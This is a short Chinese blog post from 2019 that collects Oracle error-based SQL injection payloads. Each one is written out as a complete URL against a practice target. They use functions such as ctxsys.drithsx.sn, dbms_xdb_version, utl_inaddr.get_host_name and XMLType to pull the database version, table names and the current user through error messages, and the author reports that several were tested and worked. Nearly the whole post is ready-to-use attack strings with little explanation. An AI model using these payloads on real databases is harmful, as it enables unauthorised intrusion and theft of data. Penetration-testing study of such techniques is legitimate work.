Oracle数据库报错函数总结

靶场:59.63.200.79.8808
0、ctxsys.drithsx.sn()进行报错注入http://59.63.200.79:8808/?id=1'and 1=ctxsys.drithsx.sn(1,(select*from v$version where rownum=1))--+
1、dbms_xdb_version.checkin进行报错注入 http://59.63.200.79:8808/?id=1'and (select dbms_xdb_version.checkin((select table_name from user_tables where rownum=1)) from dual) is not null -- +
2、dbms_xdb_version.makeversioned()进行报错注入 http://59.63.200.79:8808/?id=1'and (select dbms_xdb_version.makeversioned((select *from v$version where rownum=1)) from dual) is not null --+
3、dbms_utility.sqlid_to_sqlhash() 进行报错注入http://59.63.200.79:8808/?id=1' and (SELECT dbms_utility.sqlid_to_sqlhash((select *from v$version where rownum=1)) from dual) is not null--+
4、dbms_xdb_version.uncheckout()进行报错注入 http://59.63.200.79:8808/?id=1'and (select dbms_xdb_version.uncheckout((select * from v$version where rownum=1)) from dual) is not null --+-------------dbms_xdb_version.checkin()进行报错注入(同上)
5、decode进行报错注入这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。当数据库的user用户名等于B页面返回错误,当不等于B返回空 http://59.63.200.79:8808/?id=1'and 1=(select decode(substr(user,1,1),'B',(1/0),0) from dual) --
6、ctxsys.drithsx.sn进行报错注入:http://59.63.200.79:8808/?id=1'and 1=ctxsys.drithsx.sn(1,(select*from v$version where rownum=1))--+
7、 utl_inaddr.get_host_name()进行报错注入 http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1′ and 1=utl_inaddr.get_host_name((select user from dual))--+
8、 XMLType()进行报错注入 http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1′ and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--+
9、 ordsys.ord_dicom.getmappingxpath()进行报错注入 http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1′  and 1=ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)--+
前面5种实测有效,可能由于数据库版本问题,不同的函数在不同版本中有效果。   
 
 
posted @ 2019-10-18 20:24  求知鱼  阅读(706)  评论(0编辑  收藏  举报